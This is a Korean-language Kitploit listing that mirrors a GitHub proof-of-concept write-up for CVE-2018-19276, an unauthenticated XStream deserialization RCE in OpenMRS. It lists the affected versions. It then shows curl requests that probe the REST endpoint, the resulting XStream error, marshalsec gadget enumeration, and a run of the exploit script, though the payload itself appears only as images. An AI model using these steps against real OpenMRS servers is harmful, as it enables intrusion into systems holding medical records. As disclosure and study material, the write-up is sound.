Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-19276 — CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE | Kitploit
도구/GitHubGitHub/mpgn/cve-2018-19276
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmpgn/cve-2018-19276

CVE-2018-19276

CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE

저장소 보기
1647년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-19276 OpenMRS 안전하지 않은 객체 역직렬화 RCE

출처: https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607

안전하지 않은 객체 역직렬화를 통해 로그인 없이 임의 코드 실행이 가능합니다. Webservices 모듈의 IP 제한은 이 공격을 막지 못합니다.

image

  • 모든 버전의 OpenMRS Platform 2.1.x < 2.1.4
  • 모든 버전의 OpenMRS Platform 2.0.x < 2.0.8
  • 모든 버전의 OpenMRS Platform 1.12.x < 1.12.1
  • 모든 버전의 OpenMRS Reference Application 2.8.x < 2.8.1
  • 모든 버전의 OpenMRS Reference Application 2.7.x < 2.7.2
  • 모든 버전의 OpenMRS Reference Application 2.6.x < 2.6.2

Bishop Fox의 보안 어소시에이트 Nicolas Serra가 발견했습니다.

개념 증명

공식 문서를 사용하여 OpenMRS의 REST 웹 서비스 작동 방식을 확인해 보겠습니다:

root@kitploit:~
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'

수정 사항 확인:

  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/369
  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/372

이 정보를 찾을 수 있습니다:

image https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473

기본적으로 POST 요청의 Content-type이 XML인 경우 필터링하므로, 아마도 XXE 또는 안전하지 않은 역직렬화일 것입니다 👍

문서를 다시 확인해 보겠습니다:

image

좋습니다. REST 웹 서비스에 XML을 보내면 어떻게 될까요?

root@kitploit:~
> curl -i -s -k  -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml'  $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close

{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException:  : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]

오류에서 매우 흥미로운 내용을 발견했습니다: xstream.XStreamMarshaller

Java 역직렬화를 사용하여 RCE를 트리거하기 위해 멋진 도구인 marshalsec을 사용해 보겠습니다.

사용 가능한 가젯 확인:

root@kitploit:~
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v 
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

이 시점에서 저는 XStream의 모든 가젯에 대해 github 검색을 사용하여 발생을 찾았습니다. ImageIO 가젯만 유망해 보입니다:

image

시도해 봅시다:

image

바로 그것입니다!

익스플로잇

root@kitploit:~
python CVE-2018-19276.py

image

리소스:

  • https://issues.openmrs.org/browse/RESTWS-742
  • https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/
  • https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
  • https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls
도구 다운로드